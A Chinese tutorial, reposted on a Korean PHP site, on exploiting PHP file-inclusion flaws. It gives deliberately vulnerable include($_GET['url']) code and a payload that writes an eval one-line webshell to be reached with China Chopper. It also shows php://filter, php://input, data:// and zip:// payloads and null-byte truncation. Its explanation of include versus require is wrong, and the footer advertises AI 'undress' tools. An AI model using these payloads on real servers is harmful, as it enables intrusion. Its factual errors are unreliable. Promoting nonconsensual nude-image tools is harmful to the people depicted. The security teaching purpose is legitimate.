취약점이 포함된 PHP 파일의 원리에 대한 간략한 탐구
文件包含漏洞原理浅探
文件包含
文件包含是指一个文件里面包含另外一个文件;开发过程中,重复使用的函数会写入单独的文件中,需要使用该函数的时候直接从程序中调用该文件即可,这一个过程就是“文件包含”
由于文件包含的功能特性,导致客户端可以调用一个恶意文件,进行动态调用
PHP文件包含
PHP提供了四个文件包含函数提供的功能强大且灵活多变,经常存在文件包含函数
(推荐学习:PHP视频教程)
include()
无法查到被包含的文件时产生错误"E_COMPLE_ERROR"停止运行
include_once()
和前者一样,如果文件中的代码已经包含了,则不再会包含
require()
无法查到被包含的文件是产生警告"E_WARNING"继续运行
require_once()
和前者一样,无法查到被包含的文件是产生警告"E_WARNING"继续运行
开发演示
<?php include("ArrayUtil.php"); //利用include函数包含 $arr = array("sougou","google","yahoo","baidu","FackBook"); PrintArr($arr); ?>
<?php function PrintArr($arr,$sp=' ==> ',$lin="<br/>"){ foreach ($arr as $key => $value) { echo "$key $sp $value $lin"; } } ?>
在index.php文件中使用include函数文件包含ArrayUtil.php文件,在index.php中可以使用ArrayUtil.php文件中的PrintArr()函数;在index.php第4行我们调用了PrintArr()函数。
使用浏览器访问index.php
漏洞演示(本地执行)
<?php include("phpinfo.txt"); ?>
<?php phpinfo(); ?>
喏!一个txt文件被成功包含了;笔者测试了其它各种服务器可接受的文件格式,均实验成功!由此笔者得到的论证是:include()函数包含的任何文件都会以PHP文件解析,但前提是文件的内容符合PHP代码规范;若内容不符合PHP代码规范则会在页面暴露文件内容(这是重点)
漏洞演示(远程执行)
PHP不单单可以在服务端(本地)执行文件包含,也可以远程执行文件包含;
远程的文件包含执行需要修改PHP.ini配置文件(php默认关闭远程包含文件)
allow_url_include = on
由于我们不具备远程条件,只好本地搭建环境将就一下哈!!!
D:\phpStudy\phpinfo.txt
<?php phpinfo(); ?>
127.0.0.1/index.php
<?php include("D:\phpStudy\phpinfo.txt"); ?>
换一个方法
<?php include($_GET['url']); ?>// 记住这个代码后面会一直使用
这里的URL参数值提交的只是一个远程包含文件的URL地址;远程文件包含和本地文件包含的解析方法一样,只要符合PHP代码规范就可以按照PHP代码解析执行。
如果我们包含的文件不存在,则会发生Error,网站的路径就会暴露!
读取敏感文件
构造类似http://127.0.0.1/?url=.\phpinfo.txt
喏!我们看见了文本内容,为什么呢?
因为include()函数会执行文件包含,不管是什么格式的文件只要符合PHP代码规范的内容就会按照PHP解析;而不符合PHP代码规范的则会直接输出文件内容。
综合特性:利用该特性包含文件的方法,访问本地的其它文件均会执行php解析或者回显文本的内容;尤其是系统敏感文件,例如php.ini配置文件、my.ini配置文件等敏感信息,而文件的路径则需要结合其它姿势来获得(例如上面利用error回显的方式)
重要的一点:得具有文件的操作权限哦
远程包含Shell
远程包含文本的条件是 allow_url_fopen= on
创建shell.txt(功能:在服务端本地创建一句话木马脚本)
<?php $key= ("<?php @eval(\$_POST['mirror']);?>");//$符号需要转义要按字符存 $file = fopen("shell.php","w"); fwrite($file, $key); fclose($file); ?>
构造:http://127.0.0.1/?url=..\xx\shell.txt
远程包含文本执行成功后,服务端本地会创建一个"shell.php"一句话木马执行文件
shell.php创建后,使用“菜刀”连接一句话:
喏!包含执行文件创建本地一个shell.php一句话木马,然后菜刀连木马!一梭子搞定!
文件包含配合上传
利用web应用的上传功能,上传一张伪木马图片,然后利用文件包含执行已上传的图片,然后伪木马图片的功能就是被包含执行后在服务端本地创建一个木马执行php文件
PHP封装协议利用
PHP内置很多的PHP封装协议(详细见官方文档),封装协议的功能和文件函数(fopen(),copy(),file_exists(),filesize())提供的功能相似
allow_url_fopen:on 默认开启 该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。
allow_url_include:off 默认关闭,该选项为on便是允许 包含URL 对象文件等
考虑安全都是全部关闭
内置封装协议
【引用官方文档】
- file:// — 访问本地文件系统
- http:// — 访问 HTTP(s) 网址
- ftp:// — 访问 FTP(s) URLs
- data:// — 数据(RFC 2397)
- glob:// — 查找匹配的文件路径模式
- phar:// — PHP 归档
- ssh2:// — Secure Shell 2
- rar:// — RAR
- ogg:// — 音频流
- expect:// — 处理交互式的流
file://协议:
访问本地文件系统
file://[本地文件的绝对路径和文件名]
php://协议:
访问各个IO流
需要开启 allow_url_include: on
php://stdin:直接访问PHP进程相应的输入或输出流(只读)
php://stdout:直接访问PHP进程相应的输入或输出流(只写)
php://stderr:直接访问PHP进程相应的输入或输出流(只写)
php://filter:进行任意文件读取的利用
php://input:访问请求的原始数据的只读流,将post请求中的数据作为php解析
php://output:只写的数据流,允许print和echo方式写入到输出缓存中
php://fd: 允许直接访问指定的文件描述符
更多详细可以参考官方php://协议文档
zip://协议:
(zip:// , bzip2:// , zlib:// )属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
注意 井字符号 ’ # ‘ 在url中需要转为 %23
data://协议:
data://text/plain;base64,[string_base64加密后]
glob://协议:
查询匹配的文件路径模式
glob://[url]
<?php // 循环 ext/spl/examples/ 目录里所有 *.php 文件 // 并打印文件名和文件尺寸 $it = new DirectoryIterator("glob://ext/spl/examples/*.php"); foreach($it as $f) { printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024); } ?>
expect://协议:
处理交互式数据流(默认未开启,需要安装PECL—Expect扩展)
expect://command
参见文章:php伪协议实现命令执行的七种姿势
读取PHP文件
利用file://读取文件内容
file://[本地文件的绝对路径和文件名]
利用php://filter读取php文件内容
http://127.0.0.1/?url=php://filter/read=convert.base64-encode/resource=shelll.php
这里的结果是经过Base64加密的
利用php://input:
使用php://input可以执行PHP语句,但是受限于allow_utl_include= On
url text:
http://127.0.0.1/index.php/?url=php://input
Post data:
<?php phpinfo();?>
喏!利用“php://input"执行php代码”post data数据内容“,这里只是回显phpinfo(),如果我们利用php://input执行服务端本地创建php一句话木马文件,后果可想而知
利用data://:
受限于allow_utl_include= Onphp.ini配置
?file=[data://text/plain;base64,[base64编码加密的payload)]
注意没有php闭合标签
利用zip://:
?url=zip://C:\Users\Mirror\Desktop/zip.zip%23shell.php
总结
上面这张图是笔者从FREEBUF漏斗社区的文章中copy来的,算是一个不错的总结^_^
截断包含
magic_quotes_gpc = off函数为Off状态才可以使用,因为在On状态下%00会被转义导致无法截断;https://www.cnblogs.com/timelesszhuang/p/3726736.html
PHP6/7关闭了magic_quotes_gpc函数: PHP6\7关闭magic_quotes_gpc对程序的影响
文件包含的漏洞修复,尤其是include()相关文件包含函数,只要限制后缀名就好了?
<?php if(iset($_GET['url'])){ include $_GET['url'].".php"; } else{ include 'home.php'; } ?>
上述程序就是固定限制后缀名,用户只需要指明文件名就可以,不需要用户提交后缀名
现在我们利用之前的包含手段,包含"shell.php"文件
http://127.0.0.1/index.php/?url=shell.php
由于程序固定了文件后缀格式,于是在后台会构成
shell.php.php
而include()无法查找到“shell.php.php”,故此导致报错
采用字节截断
http://127.0.0.1/index.php/?url=shell.php%00
PHP5.2+的版本渐渐的都修复了字节截断,所以很少有利用了
笔者不做过多的细节说明^_^
本文来自php中文网,php教程栏目,欢迎学习!
위 내용은 취약점이 포함된 PHP 파일의 원리에 대한 간략한 탐구의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

핫 AI 도구

Undresser.AI Undress
사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover
사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool
무료로 이미지를 벗다

Clothoff.io
AI 옷 제거제

Video Face Swap
완전히 무료인 AI 얼굴 교환 도구를 사용하여 모든 비디오의 얼굴을 쉽게 바꾸세요!

인기 기사

뜨거운 도구

메모장++7.3.1
사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전
중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기
강력한 PHP 통합 개발 환경

드림위버 CS6
시각적 웹 개발 도구

SublimeText3 Mac 버전
신 수준의 코드 편집 소프트웨어(SublimeText3)

PHP는 서버 측에서 널리 사용되는 스크립팅 언어이며 특히 웹 개발에 적합합니다. 1.PHP는 HTML을 포함하고 HTTP 요청 및 응답을 처리 할 수 있으며 다양한 데이터베이스를 지원할 수 있습니다. 2.PHP는 강력한 커뮤니티 지원 및 오픈 소스 리소스를 통해 동적 웹 컨텐츠, 프로세스 양식 데이터, 액세스 데이터베이스 등을 생성하는 데 사용됩니다. 3. PHP는 해석 된 언어이며, 실행 프로세스에는 어휘 분석, 문법 분석, 편집 및 실행이 포함됩니다. 4. PHP는 사용자 등록 시스템과 같은 고급 응용 프로그램을 위해 MySQL과 결합 할 수 있습니다. 5. PHP를 디버깅 할 때 error_reporting () 및 var_dump ()와 같은 함수를 사용할 수 있습니다. 6. 캐싱 메커니즘을 사용하여 PHP 코드를 최적화하고 데이터베이스 쿼리를 최적화하며 내장 기능을 사용하십시오. 7

PHP와 Python은 각각 고유 한 장점이 있으며 선택은 프로젝트 요구 사항을 기반으로해야합니다. 1.PHP는 간단한 구문과 높은 실행 효율로 웹 개발에 적합합니다. 2. Python은 간결한 구문 및 풍부한 라이브러리를 갖춘 데이터 과학 및 기계 학습에 적합합니다.

PHP와 Python은 각각 고유 한 장점이 있으며 프로젝트 요구 사항에 따라 선택합니다. 1.PHP는 웹 개발, 특히 웹 사이트의 빠른 개발 및 유지 보수에 적합합니다. 2. Python은 간결한 구문을 가진 데이터 과학, 기계 학습 및 인공 지능에 적합하며 초보자에게 적합합니다.

PHP는 전자 상거래, 컨텐츠 관리 시스템 및 API 개발에 널리 사용됩니다. 1) 전자 상거래 : 쇼핑 카트 기능 및 지불 처리에 사용됩니다. 2) 컨텐츠 관리 시스템 : 동적 컨텐츠 생성 및 사용자 관리에 사용됩니다. 3) API 개발 : 편안한 API 개발 및 API 보안에 사용됩니다. 성능 최적화 및 모범 사례를 통해 PHP 애플리케이션의 효율성과 유지 보수 성이 향상됩니다.

PHP는 여전히 역동적이며 현대 프로그래밍 분야에서 여전히 중요한 위치를 차지하고 있습니다. 1) PHP의 단순성과 강력한 커뮤니티 지원으로 인해 웹 개발에 널리 사용됩니다. 2) 유연성과 안정성은 웹 양식, 데이터베이스 작업 및 파일 처리를 처리하는 데 탁월합니다. 3) PHP는 지속적으로 발전하고 최적화하며 초보자 및 숙련 된 개발자에게 적합합니다.

PHP는 주로 절차 적 프로그래밍이지만 객체 지향 프로그래밍 (OOP)도 지원합니다. Python은 OOP, 기능 및 절차 프로그래밍을 포함한 다양한 패러다임을 지원합니다. PHP는 웹 개발에 적합하며 Python은 데이터 분석 및 기계 학습과 같은 다양한 응용 프로그램에 적합합니다.

PHP는 특히 빠른 개발 및 동적 컨텐츠를 처리하는 데 웹 개발에 적합하지만 데이터 과학 및 엔터프라이즈 수준의 애플리케이션에는 적합하지 않습니다. Python과 비교할 때 PHP는 웹 개발에 더 많은 장점이 있지만 데이터 과학 분야에서는 Python만큼 좋지 않습니다. Java와 비교할 때 PHP는 엔터프라이즈 레벨 애플리케이션에서 더 나빠지지만 웹 개발에서는 더 유연합니다. JavaScript와 비교할 때 PHP는 백엔드 개발에서 더 간결하지만 프론트 엔드 개발에서는 JavaScript만큼 좋지 않습니다.

PHP와 Python은 고유 한 장점과 단점이 있으며 선택은 프로젝트 요구와 개인 선호도에 달려 있습니다. 1.PHP는 대규모 웹 애플리케이션의 빠른 개발 및 유지 보수에 적합합니다. 2. Python은 데이터 과학 및 기계 학습 분야를 지배합니다.
